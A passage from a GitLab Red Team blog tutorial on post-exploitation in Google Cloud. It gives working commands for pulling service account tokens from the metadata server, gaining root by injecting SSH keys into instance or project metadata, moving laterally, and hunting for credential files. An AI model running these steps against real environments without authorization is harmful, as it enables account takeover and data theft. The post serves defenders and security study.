[{"data":1,"prerenderedAt":817},["ShallowReactive",2],{"/en-us/blog/plundering-gcp-escalating-privileges-in-google-cloud-platform":3,"navigation-en-us":39,"banner-en-us":449,"footer-en-us":459,"blog-post-authors-en-us-Chris Moberly":701,"blog-related-posts-en-us-plundering-gcp-escalating-privileges-in-google-cloud-platform":715,"blog-promotions-en-us":755,"next-steps-en-us":807},{"id":4,"title":5,"authorSlugs":6,"body":8,"categorySlug":9,"config":10,"content":14,"description":8,"extension":25,"isFeatured":12,"meta":26,"navigation":27,"path":28,"publishedDate":20,"seo":29,"stem":34,"tagSlugs":35,"__hash__":38},"blogPosts/en-us/blog/plundering-gcp-escalating-privileges-in-google-cloud-platform.yml","Plundering Gcp Escalating Privileges In Google Cloud Platform",[7],"chris-moberly",null,"security",{"slug":11,"featured":12,"template":13},"plundering-gcp-escalating-privileges-in-google-cloud-platform",false,"BlogPost",{"title":15,"description":16,"authors":17,"heroImage":19,"date":20,"body":21,"category":9,"tags":22},"Tutorial on privilege escalation and post exploitation tactics in Google Cloud Platform environments","A Red Team exercise on exploiting design decisions on GCP.",[18],"Chris Moberly","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749672755/Blog/Hero%20Images/white-lightning-heating-mountain.jpg","2020-02-12","## Update\n\n_At GitLab we have an internal [Red Team](https://handbook.gitlab.com/handbook/security/security-operations/red-team/) that dedicates time looking at the services and business partners we use to deliver GitLab products and services. As a [Google Cloud customer,](/blog/moving-to-gcp/) we have an obvious interest in all the different ways that administrators can make devastating security related mistakes when configuring their environment. We also have a team goal of sharing our research and tooling when possible with the community. This blog post and our previous post, [Introducing Token Hunter, an open source tool for finding sensitive data in the vast, wide-open,](/blog/introducing-token-hunter/) are our attempts to share our knowledge with the broader security community - for our mutual benefit._\n\n_This post does not outline any new vulnerabilities in Google Cloud Platform but outlines ways that an attacker who has already gained an unprivileged foothold on a cloud instance may perform reconnaissance, privilege escalation and eventually complete compromise of an environment._\n\n## Introduction\n\nWe recently embarked on a journey to simulate malicious activity in Google Cloud Platform (GCP). The idea was to begin with the low-privilege compromise of a Linux virtual machine, and then attempt to escalate privileges and access sensitive data throughout the environment.\n\nThe problem? There just isn't a lot of information available about GCP written from an attacker's perspective. We set out to learn as much as we could about Google Cloud and how an attacker might work to abuse common design decisions. Now, we are sharing that information with you! I'll also be presenting this talk, [Plundering GCP – escalating privileges, moving laterally and stealing secrets in Google Cloud](https://www.bsidesmelbourne.com/2020-plundering-gcp.html), in March 2020 at BSides Melbourne.\n\nIn this tutorial, we will do a very deep-dive into manual post-exploitation tactics and techniques for GCP. The specific scenario we are addressing here is the compromise of a single Linux-based virtual machine running within the Compute Engine offering. The goal is to elevate local privileges to a root account, compromise other systems within the same Google Cloud [Project](https://cloud.google.com/storage/docs/projects), break out of that project into others, and even hop the fence over to G Suite if possible.\n\nWe'll also go into specific detail on how to interact with a slew of Google's cloud services to hunt for secrets and exfiltrate sensitive data.\n\nIf you're tasked with defending infrastructure in Google Cloud, this tutorial should give you a good idea of what an attacker may get up to and the types of activities you should be looking out for.\n\nThis blog also introduces several utilities targeting GCP environments:\n\n- [gcp_firewall_enum](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_firewall_enum): Generate targeted port scans for Compute Instances exposed to the internet.\n- [gcp_enum](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_enum): Most of the enumeration commands in this blog, consolidated to a single script.\n- [gcp_misc](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_misc): Various tools for attacking GCP environments.\n\n*No shell? No problem! Most of these techniques can used with SSRF as well. Check out the [Leveraging SSRF](#leveraging-ssrf) appendix for more info.*\n\n## Basic background info\n\nGCP is a big beast with a ton of moving parts. Here is a bit of background on items that are most relevant to the breach of a Compute Instance.\n\n### Tools\n\n#### gcloud\n\nIt is likely that the box you land on will have the [GCP SDK tools](https://cloud.google.com/sdk/docs/) installed and configured. A quick way to verify that things are set up is to run the following command:\n\n```shell\n$ gcloud config list\n```\n\nIf properly configured, you should get some output detailing the current service account and project in use.\n\nThe [gcloud command set](https://cloud.google.com/sdk/gcloud/reference/) is pretty extensive, supports tab completion, and has excellent online and built-in documentation. You can also install it locally on your own machine and use it with credential data that you obtain.\n\n#### Cloud APIs\n\nThe `gcloud` command is really just a way of automating [Google Cloud API](https://cloud.google.com/apis/docs/overview) calls. However, you can also perform them manually. Understanding the API endpoints and functionality can be very helpful when you're operating with a very specific set of permissions, and trying to work out exactly what you can do.\n\nYou can see what the raw HTTP API call for any individual `gcloud` command is simply by appending `--log-http` to the command.\n\n#### Metadata endpoint\n\nEvery Compute Instance has access to a dedicated [metadata server](https://cloud.google.com/compute/docs/storing-retrieving-metadata) via the IP address 169.254.169.254. You can identify it as a host file entry like the one below:\n\n```shell\n$ cat /etc/hosts\n[...]\n169.254.169.254 metadata.google.internal  # Added by Google\n```\n\nThis metadata server allows any processes running on the instance to query Google for information about the instance it runs on and the project it resides in. No authentication is required - default `curl` commands will suffice.\n\nFor example, the following command will return information specific to the Compute Instance it is run from.\n\n```shell\n$ curl \"http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text\" \\\n    -H \"Metadata-Flavor: Google\"\n\n```\n\n### Security concepts\n\nWhat you can actually do from within a compromised instance is the resultant combination of service accounts, access scopes, and IAM permissions. These are described below.\n\n#### Resource hierarchy\n\nGoogle Cloud uses a [Resource hierarchy](https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy) that is similar, conceptually, to that of a traditional filesystem. This provides a logical parent/child workflow with specfic attachment points for policies and permissions.\n\nAt a high level, it looks like this:\n\n```text\nOrganization\n--> Folders\n  --> Projects\n    --> Resources\n\n```\n\nThe scenario this blog addresses is the compromise of a virtual machine (called a Compute Instance), which is a resource. This resource resides in a project, probably alongside other Compute Instances, storage buckets, etc.\n\nWe will work to compromise as much as we can inside that project, and then eventually to branch out into other projects within the same organization. A full compromise of the organization itself would be great, but gaining access to confidential assets may be possible simply by exploring the resources in a single project.\n\n#### Service accounts\n\nVirtual machine instances are usually assigned a service account. Every GCP project has a [default service account](https://cloud.google.com/compute/docs/access/service-accounts#default_service_account), and this will be assigned to new Compute Instances unless otherwise specified. Administrators can choose to use either a custom account or no account at all. This service account can be used by any user or application on the machine to communicate with the Google APIs. You can run the following command to see what accounts are available to you:\n\n```shell\n$ gcloud auth list\n```\n\nDefault service accounts will look like one of the following:\n\n```text\nPROJECT_NUMBER-compute@developer.gserviceaccount.com\nPROJECT_ID@appspot.gserviceaccount.com\n```\n\nMore savvy administrators will have configured a custom service account to use with the instance. This allows them to be more granular with permissions.\n\nA custom service account will look like this:\n\n```text\nSERVICE_ACCOUNT_NAME@PROJECT_NAME.iam.gserviceaccount.com\n```\n\nIf `gcloud auth list` returns multiple accounts available, something interesting is going on. You should generally see only the service account. If there is more than one, you can cycle through each using `gcloud config set account [ACCOUNT]` while trying the various tasks in this blog.\n\n#### Access scopes\n\nThe service account on a GCP Compute Instance will use OAuth to communicate with the Google Cloud APIs. When [access scopes](https://cloud.google.com/compute/docs/access/service-accounts#accesscopesiam) are used, the OAuth token that is generated for the instance will have a [scope](https://oauth.net/2/scope/) limitation included. This defines what API endpoints it can authenticate to. It does NOT define the actual permissions.\n\nWhen using a custom service account, Google [recommends](https://cloud.google.com/compute/docs/access/service-accounts#service_account_permissions) that access scopes are not used and to rely totally on IAM. The web management portal actually enforces this, but access scopes can still be applied to instances using custom service accounts programatically.\n\nThere are three options when setting an access scope on a VM instance:\n- Allow default access\n- All full access to all cloud APIs\n- Set access for each API\n\nYou can see what scopes are assigned by querying the metadata URL. Here is an example from a VM with \"default\" access assigned:\n\n```shell\n$ curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes \\\n    -H 'Metadata-Flavor:Google'\n\nhttps://www.googleapis.com/auth/devstorage.read_only\nhttps://www.googleapis.com/auth/logging.write\nhttps://www.googleapis.com/auth/monitoring.write\nhttps://www.googleapis.com/auth/servicecontrol\nhttps://www.googleapis.com/auth/service.management.readonly\nhttps://www.googleapis.com/auth/trace.append\n```\n\nThe most interesting thing in the default scope is `devstorage.read_only`. This grants read access to all storage buckets in the project. This can be devastating, which of course is great for us as an attacker.\n\nHere is what you'll see from an instance with no scope limitations:\n\n```shell\n$ curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'Metadata-Flavor:Google'\nhttps://www.googleapis.com/auth/cloud-platform\n```\n\nThis `cloud-platform` scope is what we are really hoping for, as it will allow us to authenticate to any API function and leverage the full power of our assigned IAM permissions. It is also Google's recommendation as it forces administrators to choose only necessary permissions, and not to rely on access scopes as a barrier to an API endpoint.\n\nIt is possible to encounter some conflicts when using both IAM and access scopes. For example, your service account may have the IAM role of `compute.instanceAdmin` but the instance you've breached has been crippled with the scope limitation of `https://www.googleapis.com/auth/compute.readonly`. This would prevent you from making any changes using the OAuth token that's automatically assigned to your instance.\n\n#### Identify and access management (IAM)\n\nIAM permissions are used for fine-grained access control. There are [a lot](https://cloud.google.com/iam/docs/permissions-reference) of them. The permissions are bundled together using three types of [roles](https://cloud.google.com/iam/docs/understanding-roles):\n\n- Primitive roles: Owner, Editor, and Viewer. These are the old-school way of doing things. The default service account in every project is assigned the Editor role. This is insecure and we love it.\n- Predefined roles: These roles are managed by Google and are meant to be combinations of most-likely scenarios. One of our favorites is the `compute.instanceAdmin` role, as it allows for easy privilege escalation.\n- Custom roles: This allows admins to group their own set of granular permissions.\n\nAs of this writing, there are 2,574 fine-grained permissions in IAM. These individual permissions are bundled together into a role. A role is connected to a member (user or service account) in what Google calls a [binding](https://cloud.google.com/iam/docs/reference/rest/v1/Policy#binding). Finally, this binding is applied at some level of the GCP hiearchy via a [policy](https://cloud.google.com/iam/docs/reference/rest/v1/Policy).\n\nThis policy determines what actions are allowed - it is the intersection between accounts, permissions, resources, and (optionally) conditions.\n\nYou can try the following command to specifically enumerate roles assigned to your service account project-wide in the current project:\n\n```text\n$ PROJECT=$(curl http://metadata.google.internal/computeMetadata/v1/project/project-id \\\n    -H \"Metadata-Flavor: Google\" -s)\n$ ACCOUNT=$(curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email \\\n    -H \"Metadata-Flavor: Google\" -s)\n$ gcloud projects get-iam-policy $PROJECT  \\\n    --flatten=\"bindings[].members\" \\\n    --format='table(bindings.role)' \\\n    --filter=\"bindings.members:$ACCOUNT\"\n\n```\n\nDon't worry too much if you get denied access to the command above. It's still possible to work out what you can do simply by trying to do it.\n\nMore generally, you can shorten the command to the following to get an idea of the roles assigned project-wide to all members.\n\n```shell\n$ gcloud projects get-iam-policy [PROJECT-ID]\n```\n\nOr to see the IAM policy [assigned to a single Compute Instance](https://cloud.google.com/sdk/gcloud/reference/compute/instances/get-iam-policy) you can try the following.\n\n```shell\n$ gcloud compute instances get-iam-policy [INSTANCE] --zone [ZONE]\n```\n\nThere are similar commands for various other APIs. Consult the documentation if you need one other than what is shown above.\n\n### Default credentials\n\n#### Default service account token\n\nThe metadata server available to a given instance will provide any user/process on that instance with an OAuth token that is automatically used as the default credentials when communicating with Google APIs via the `gcloud` command.\n\nYou can retrieve and inspect the token with the following curl command:\n\n```shell\n$ curl \"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token\" \\\n    -H \"Metadata-Flavor: Google\"\n\n```\n\nWhich will receive a response like the following:\n\n```json\n{\n      \"access_token\":\"ya29.AHES6ZRN3-HlhAPya30GnW_bHSb_QtAS08i85nHq39HE3C2LTrCARA\",\n      \"expires_in\":3599,\n      \"token_type\":\"Bearer\"\n }\n\n```\n\nThis token is the combination of the service account and access scopes assigned to the Compute Instance. So, even though your service account may have every IAM privilege imaginable, this particular OAuth token might be limited in the APIs it can communicate with due to access scopes.\n\n#### Application default credentials\n\nAs an alternative to first pulling a token from the metadata server, Google also has a strategy called [Application Default Credentials](https://cloud.google.com/docs/authentication/production). When using one of Google's official GCP client libraries, the code will automatically go searching for credentials to use in a defined order.\n\nThe very first location it would check would be the [source code itself](https://cloud.google.com/docs/authentication/production#passing_the_path_to_the_service_account_key_in_code). Developers can choose to statically point to a service account key file.\n\nThe next is an environment variable called `GOOGLE_APPLICATION_CREDENTIALS`. This can be set to point to a service account key file. Look for the variable itself set in the context of a system account or for references to setting it in scripts and instance metadata.\n\nFinally, if neither of these are provided, the application will revert to using the default token provided by the metadata server as described in the section above.\n\nFinding the actual JSON file with the service account credentials is generally much more desirable than relying on the OAuth token on the metadata server. This is because the raw service account credentials can be activated without the burden of access scopes and without the short expiration period usually applied to the tokens.\n\n## Local privilege escalation\n\nThis section will provide some tips on quick wins for local privilege escalation. If they work right away, great! While getting root locally seems like a logical starting point, though, hacking in the real world is rarely this organized. You may find that you need to jump ahead and grab additional secrets from a later step before you can escalate with these methods.\n\nDon't feel discouraged if you can't get local root right away - keep reading and follow the path that naturally unfolds.\n\n### Follow the scripts!\n\nCompute Instances are there to do things. To do things in Google, they will use their service accounts. And to do things with those service accounts, they likely use scripts!\n\nOften, we'll find ourselves on a Compute Instance and fail to enumerate things like available storage buckets, crypto keys, other instances, etc., due to permission denied errors. IAM permissions are very granular, meaning you can grant permissions to individual resources without granting the permission to list what those resources are.\n\nA great hypothetical example of this is a Compute Instance that has permission to read/write backups to a storage bucket called `instance82736-long-term-xyz-archive-0332893`.\n\nRunning `gsutil ls` from the command line returns nothing, as the service account is lacking the `storage.buckets.list` IAM permission. However, if you ran `gsutil ls gs://instance82736-long-term-xyz-archive-0332893` you may find a complete filesystem backup, giving you clear-text access to data that your local Linux account lacks.\n\nBut how would you know to list the contents of that very-specific bucket name? While brute-forcing buckets is a good idea, there is no way you'd find that in a word list.\n\nBut, the instance is somehow backing up to it. Probably using a script!\n\nLook for references to the `gcloud` command in scripts within the instance's metadata, local filesystem, service unit files, etc. You may also find Python, Ruby, PHP, etc scripts using their own [GCP client libraries](https://cloud.google.com/apis/docs/cloud-client-libraries) that leverage the service account's permissions to get things done.\n\nScripts in general help you understand what the machine is meant to do and will help you in identifying ways to abuse that intended functionality.\n\n### Modifying the metadata\n\nIf you can modify the instance's metadata, there are numerous ways to escalate privileges locally. There are a few scenarios that can lead to a service account with this permission:\n\n*Default service account*\u003Cbr>\nWhen using the default service account, the web management console offers the following options for access scopes:\n\n- Allow default access (default)\n- Allow full access to all Cloud APIs\n- Set access for each API\n\nIf option 2 was selected, or option 3 while explicitly allowing access to the compute API, then this configuration is vulnerable to escalation.\n\n*Custom service account*\u003Cbr>\nWhen using a custom service account, one of the following IAM permissions is necessary to escalate privileges:\n\n- compute.instances.setMetadata (to affect a single instance)\n- compute.projects.setCommonInstanceMetadata (to affect all instances in the project)\n\nAlthough Google [recommends](https://cloud.google.com/compute/docs/access/service-accounts#associating_a_service_account_to_an_instance) not using access scopes for custom service accounts, it is still possible to do so. You'll need one of the following access scopes:\n\n- https://www.googleapis.com/auth/compute\n- https://www.googleapis.com/auth/cloud-platform\n\n#### Add SSH keys to custom metadata\n\nLinux systems on GCP will typically be running [Python Linux Guest Environment for Google Compute Engine](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts) scripts. One of these is the [accounts daemon](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts), which periodically queries the instance metadata endpoint for changes to the authorized SSH public keys.\n\nIf a new public key is encountered, it will be processed and added to the local machine. Depending on the format of the key, it will either be added to the `~/.ssh/authorized_keys` file of an existing user or will create a new user with `sudo` rights.\n\nSo, if you can modify custom instance metadata with your service account, you can escalate to root on the local system by gaining SSH rights to a privileged account. If you can modify custom project metadata, you can escalate to root on any system in the current GCP project that is running the accounts daemon.\n\n##### Add SSH key to existing privileged user\n\nLet's start by adding our own key to an existing account, as that will probably make the least noise. You'll want to be careful not to wipe out any keys that already exist in metadata, as that may tip your target off.\n\nCheck the instance for existing SSH keys. Pick one of these users as they are likely to have sudo rights.\n\n```shell\n$ gcloud compute instances describe [INSTANCE] --zone [ZONE]\n```\n\nLook for a section like the following:\n\n```text\n\n ...\n metadata:\n   fingerprint: QCZfVTIlKgs=\n   items:\n   ...\n   - key: ssh-keys\n     value: |-\n       alice:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/SQup1eHdeP1qWQedaL64vc7j7hUUtMMvNALmiPfdVTAOIStPmBKx1eN5ozSySm5wFFsMNGXPp2ddlFQB5pYKYQHPwqRJp1CTPpwti+uPA6ZHcz3gJmyGsYNloT61DNdAuZybkpPlpHH0iMaurjhPk0wMQAMJUbWxhZ6TTTrxyDmS5BnO4AgrL2aK+peoZIwq5PLMmikRUyJSv0/cTX93PlQ4H+MtDHIvl9X2Al9JDXQ/Qhm+faui0AnS8usl2VcwLOw7aQRRUgyqbthg+jFAcjOtiuhaHJO9G1Jw8Cp0iy/NE8wT0/tj9smE1oTPhdI+TXMJdcwysgavMCE8FGzZ alice\n       bob:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2fNZlw22d3mIAcfRV24bmIrOUn8l9qgOGj1LQgOTBPLAVMDAbjrM/98SIa1NainYfPSK4oh/06s7xi5B8IzECrwqfwqX0Z3VbW9oQbnlaBz6AYwgGHE3Fdrbkg/Ew8SZAvvvZ3bCwv0i5s+vWM3ox5SIs7/W4vRQBUB4DIDPtj0nK1d1ibxCa59YA8GdpIf797M0CKQ85DIjOnOrlvJH/qUnZ9fbhaHzlo2aSVyE6/wRMgToZedmc6RzQG2byVxoyyLPovt1rAZOTTONg2f3vu62xVa/PIk4cEtCN3dTNYYf3NxMPRF6HCbknaM9ixmu3ImQ7+vG3M+g9fALhBmmF bob\n ...\n\n```\n\nNotice the slightly odd format of the public keys - the username is listed at the beginning (followed by a colon) and then again at the end. We'll need to match this format. Unlike normal SSH key operation, the username absolutely matters!\n\nSave the lines with usernames and keys in a new text file called `meta.txt`.\n\nLet's assume we are targeting the user `alice` from above. We'll generate a new key for ourselves like this:\n\n```text\n$ ssh-keygen -t rsa -C \"alice\" -f ./key -P \"\" && cat ./key.pub\n```\n\nTake the output of the command above and use it to add a line to the `meta.txt` file you create above, ensuring to add `alice:` to the beggining of your new public key.\n\n`meta.txt` should now look something like this, including the existing keys and the new key you just generated:\n\n```text\nalice:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/SQup1eHdeP1qWQedaL64vc7j7hUUtMMvNALmiPfdVTAOIStPmBKx1eN5ozSySm5wFFsMNGXPp2ddlFQB5pYKYQHPwqRJp1CTPpwti+uPA6ZHcz3gJmyGsYNloT61DNdAuZybkpPlpHH0iMaurjhPk0wMQAMJUbWxhZ6TTTrxyDmS5BnO4AgrL2aK+peoZIwq5PLMmikRUyJSv0/cTX93PlQ4H+MtDHIvl9X2Al9JDXQ/Qhm+faui0AnS8usl2VcwLOw7aQRRUgyqbthg+jFAcjOtiuhaHJO9G1Jw8Cp0iy/NE8wT0/tj9smE1oTPhdI+TXMJdcwysgavMCE8FGzZ alice\nbob:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2fNZlw22d3mIAcfRV24bmIrOUn8l9qgOGj1LQgOTBPLAVMDAbjrM/98SIa1NainYfPSK4oh/06s7xi5B8IzECrwqfwqX0Z3VbW9oQbnlaBz6AYwgGHE3Fdrbkg/Ew8SZAvvvZ3bCwv0i5s+vWM3ox5SIs7/W4vRQBUB4DIDPtj0nK1d1ibxCa59YA8GdpIf797M0CKQ85DIjOnOrlvJH/qUnZ9fbhaHzlo2aSVyE6/wRMgToZedmc6RzQG2byVxoyyLPovt1rAZOTTONg2f3vu62xVa/PIk4cEtCN3dTNYYf3NxMPRF6HCbknaM9ixmu3ImQ7+vG3M+g9fALhBmmF bob\nalice:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDnthNXHxi31LX8PlsGdIF/wlWmI0fPzuMrv7Z6rqNNgDYOuOFTpM1Sx/vfvezJNY+bonAPhJGTRCwAwytXIcW6JoeX5NEJsvEVSAwB1scOSCEAMefl0FyIZ3ZtlcsQ++LpNszzErreckik3aR+7LsA2TCVBjdlPuxh4mvWBhsJAjYS7ojrEAtQsJ0mBSd20yHxZNuh7qqG0JTzJac7n8S5eDacFGWCxQwPnuINeGoacTQ+MWHlbsYbhxnumWRvRiEm7+WOg2vPgwVpMp4sgz0q5r7n/l7YClvh/qfVquQ6bFdpkVaZmkXoaO74Op2Sd7C+MBDITDNZPpXIlZOf4OLb alice\n```\n\nNow, you can re-write the SSH key metadata for your instance with the following command:\n\n```shell\n$ gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt\n```\n\nYou can now access a shell in the context of `alice` as follows:\n\n```text\nlowpriv@instance:~$ ssh -i ./key alice@localhost\nalice@instance:~$ sudo id\nuid=0(root) gid=0(root) groups=0(root)\n```\n\n##### Create a new privileged user\n\nNo existing keys found when following the steps above? No one else interesting in `/etc/passwd` to target?\n\nYou can follow the same process as above, but just make up a new username. This user will be created automatically and given rights to `sudo`. Scripted, the process would look like this:\n\n```shell\n# define the new account username\nNEWUSER=\"definitelynotahacker\"\n\n# create a key\nssh-keygen -t rsa -C \"$NEWUSER\" -f ./key -P \"\"\n\n# create the input meta file\nNEWKEY=\"$(cat ./key.pub)\"\necho \"$NEWUSER:$NEWKEY\" > ./meta.txt\n\n# update the instance metadata\ngcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt\n\n# ssh to the new account\nssh -i ./key \"$NEWUSER\"@localhost\n```\n##### Grant sudo to existing session\nThis one is so easy, quick, and dirty that it feels wrong...\n\n```shell\n$ gcloud compute ssh [INSTANCE NAME]\n```\n\nThis will generate a new SSH key, add it to your existing user, and add your existing username to the `google-sudoers` group, and start a new SSH session. While it is quick and easy, it may end up making more changes to the target system than the previous methods.\n\nWe'll talk about this again for lateral movement, but it works perfectly fine for local privilege escalation as well.\n\n##### Using OS Login\n\n[OS Login](https://cloud.google.com/compute/docs/oslogin/) is an alternative to managing SSH keys. It links a Google user or service account to a Linux identity, relying on IAM permissions to grant or deny access to Compute Instances.\n\nOS Login is [enabled](https://cloud.google.com/compute/docs/instances/managing-instance-access#enable_oslogin) at the project or instance level using the metadata key of `enable-oslogin = TRUE`.\n\nOS Login with two-factor authentication is [enabled](https://cloud.google.com/compute/docs/oslogin/setup-two-factor-authentication) in the same manner with the metadata key of `enable-oslogin-2fa = TRUE`.\n\nThe following two IAM permissions control SSH access to instances with OS Login enabled. They can be applied at the project or instance level:\n\n- roles/compute.osLogin (no sudo)\n- roles/compute.osAdminLogin (has sudo)\n\nUnlike managing only with SSH keys, these permissions allow the administrator to control whether or not `sudo` is granted.\n\nIf you're lucky, your service account has these permissions. You can simply run the `gcloud compute ssh [INSTANCE]` command to [connect manually as the service account](https://cloud.google.com/compute/docs/instances/connecting-advanced#sa_ssh_manual). Two-factor is only enforced when using user accounts, so that should not slow you down even if it is assigned as shown above.\n\nSimilar to using SSH keys from metadata, you can use this strategy to escalate privileges locally and/or to access other Compute Instances on the network.\n\n## Lateral movement\n\nYou've compromised one VM inside a project. Great! Now let's get some more...\n\nYou can try the following command to get a list of all instances in your current project:\n\n```shell\n$ gcloud compute instances list\n```\n\n### SSH'ing around\n\nYou can use the local privilege escalation tactics above to move around to other machines. Read through those sections for a detailed description of each method and the associated commands.\n\nWe can expand upon those a bit by [applying SSH keys at the project level](https://cloud.google.com/compute/docs/instances/adding-removing-ssh-keys#project-wide), granting you permission to SSH into a privileged account for any instance that has not explicitly chosen the \"Block project-wide SSH keys\" option.\n\nAfter you've identified the strategy for selecting or creating a new user account, you can use the following syntax.\n\n```shell\n$ gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt\n```\n\nIf you're really bold, you can also just type `gcloud compute ssh [INSTANCE]` to use your current username on other boxes.\n\n### Abusing networked services\n\n#### Some GCP networking tidbits\n\nCompute Instances are connected to networks called VPCs or [Virtual Private Clouds](https://cloud.google.com/vpc/docs/vpc). [GCP firewall](https://cloud.google.com/vpc/docs/firewalls) rules are defined at this network level but are applied individually to a Compute Instance. Every network, by default, has two [implied firewall rules](https://cloud.google.com/vpc/docs/firewalls#default_firewall_rules): allow outbound and deny inbound.\n\nEach GCP project is provided with a VPC called `default`, which applies the following rules to all instances:\n\n- default-allow-internal (allow all traffic from other instances on the `default` network)\n- default-allow-ssh (allow 22 from everywhere)\n- default-allow-rdp (allow 3389 from everywhere)\n- default-allow-icmp (allow ping from everywhere)\n\n#### Meet the neighbors\n\nFirewall rules may be more permissive for internal IP addresses. This is especially true for the default VPC, which permits all traffic between Compute Instances.\n\nYou can get a nice readable view of all the subnets in the current project with the following command:\n\n```shell\n$ gcloud compute networks subnets list\n```\n\nAnd an overview of all the internal/external IP addresses of the Compute Instances using the following:\n\n```shell\n$ gcloud compute instances list\n```\n\nIf you go crazy with nmap from a Compute Instance, Google will notice and will likely send an alert email to the project owner. This is more likely to happen if you are scanning public IP addresses outside of your current project. Tread carefully.\n\n#### Enumerating public ports\n\nPerhaps you've been unable to leverage your current access to move through the project internally, but you DO have read access to the compute API. It's worth enumerating all the instances with firewall ports open to the world - you might find an insecure application to breach and hope you land in a more powerful position.\n\nIn the section above, you've gathered a list of all the public IP addresses. You could run nmap against them all, but this may taken ages and could get your source IP blocked.\n\nWhen attacking from the internet, the default rules don't provide any quick wins on properly configured machines. It's worth checking for password authentication on SSH and weak passwords on RDP, of course, but that's a given.\n\nWhat we are really interested in is other firewall rules that have been intentionally applied to an instance. If we're lucky, we'll stumble over an insecure application, an admin interface with a default password, or anything else we can exploit.\n\n[Firewall rules](https://cloud.google.com/vpc/docs/firewalls) can be applied to instances via the following methods:\n\n- [Network tags](https://cloud.google.com/vpc/docs/add-remove-network-tags)\n- [Service accounts](https://cloud.google.com/vpc/docs/firewalls#serviceaccounts)\n- All instances within a VPC\n\nUnfortunately, there isn't a simple `gcloud` command to spit out all Compute Instances with open ports on the internet. You have to connect the dots between firewall rules, network tags, services accounts, and instances.\n\nWe've automated this completely using [this python script](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_firewall_enum) which will export the following:\n\n- CSV file showing instance, public IP, allowed TCP, allowed UDP\n- nmap scan to target all instances on ports ingress allowed from the public internet (0.0.0.0/0)\n- masscan to target the full TCP range of those instances that allow ALL TCP ports from the public internet (0.0.0.0/0)\n\nFull documentation on that tool is availabe in the [README](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_firewall_enum/blob/master/README.md).\n\n## Cloud privilege escalation\n\nIn this section, we'll talk about ways to potentially increase our privileges within the cloud environment itself.\n\n### Organization-level IAM permissions\n\nMost of the commands in this blog focus on obtaining project-level data. However, it's important to know that permissions can be set at the highest level of \"Organization\" as well. If you can enumerate this info, this will give you an idea of which accounts may have access across all of the projects inside an org.\n\nThe following commands will list the policies set at this level:\n\n```shell\n# First, get the numeric organization ID\n$ gcloud organizations list\n\n# Then, enumerate the policies\n$ gcloud organizations get-iam-policy [ORG ID]\n```\n\nPermissions you see in this output will be applied to EVERY project. If you don't have access to any of the accounts listed, continue reading to the [Service Account Impersonation](#service-account-impersonation) section below.\n\n### Bypassing access scopes\n\nThere's nothing worse than having access to a powerful service account but being limited by the access scopes of your current OAuth token. But fret not! Just the existence of that powerful account introduces risks which we might still be able to abuse.\n\n#### Pop another box\n\nIt's possible that another box in the environment exists with less restrictive access scopes. If you can view the output of `gcloud compute instances list --quiet --format=json`, look for instances with either the specific scope you want or the `auth/cloud-platform` all-inclusive scope.\n\nAlso keep an eye out for instances that have the default service account assigned (`PROJECT_NUMBER-compute@developer.gserviceaccount.com`).\n\n#### Find service account keys\n\nGoogle states very clearly [**\"Access scopes are not a security mechanism... they have no effect when making requests not authenticated through OAuth\"**](https://cloud.google.com/compute/docs/access/service-accounts#accesscopesiam).\n\nSo, if we have a powerful service account but a limited OAuth token, we need to somehow authenticate to services without OAuth.\n\nThe easiest way to do this would be to stumble across a [service account key](https://cloud.google.com/iam/docs/creating-managing-service-account-keys) stored on the instance. These are RSA private keys that can be used to authenticate to the Google Cloud API and request a new OAuth token with no scope limitations.\n\nYou can tell which service accounts, if any, have had key files exported for them. This will let you know whether or not it's even worth hunting for them, and possibly give you some hints on where to look. The command below will help.\n\n```text\n$ for i in $(gcloud iam service-accounts list --format=\"table[no-heading](email)\"); do\n    echo Looking for keys for $i:\n    gcloud iam service-accounts keys list --iam-account $i\ndone\n```\n\nThese files are not stored on a Compute Instance by default, so you'd have to be lucky to encounter them. When a service account key file is exported from the GCP console, the default name for the file is [project-id]-[portion-of-key-id].json. So, if your project name is `test-project` then you can search the filesystem for `test-project*.json` looking for this key file.\n\nThe contents of the file look something like this:\n\n```text\n{\n\"type\": \"service_account\",\n\"project_id\": \"[PROJECT-ID]\",\n\"private_key_id\": \"[KEY-ID]\",\n\"private_key\": \"-----BEGIN PRIVATE KEY-----\\n[PRIVATE-KEY]\\n-----END PRIVATE KEY-----\\n\",\n\"client_email\": \"[SERVICE-ACCOUNT-EMAIL]\",\n\"client_id\": \"[CLIENT-ID]\",\n\"auth_uri\": \"https://accounts.google.com/o/oauth2/auth\",\n\"token_uri\": \"https://accounts.google.com/o/oauth2/token\",\n\"auth_provider_x509_cert_url\": \"https://www.googleapis.com/oauth2/v1/certs\",\n\"client_x509_cert_url\": \"https://www.googleapis.com/robot/v1/metadata/x509/[SERVICE-ACCOUNT-EMAIL]\"\n}\n```\n\nOr, if generated from the CLI they will look like this:\n\n```json\n{\n\"name\": \"projects/[PROJECT-ID]/serviceAccounts/[SERVICE-ACCOUNT-EMAIL]/keys/[KEY-ID]\",\n\"privateKeyType\": \"TYPE_GOOGLE_CREDENTIALS_FILE\",\n\"privateKeyData\": 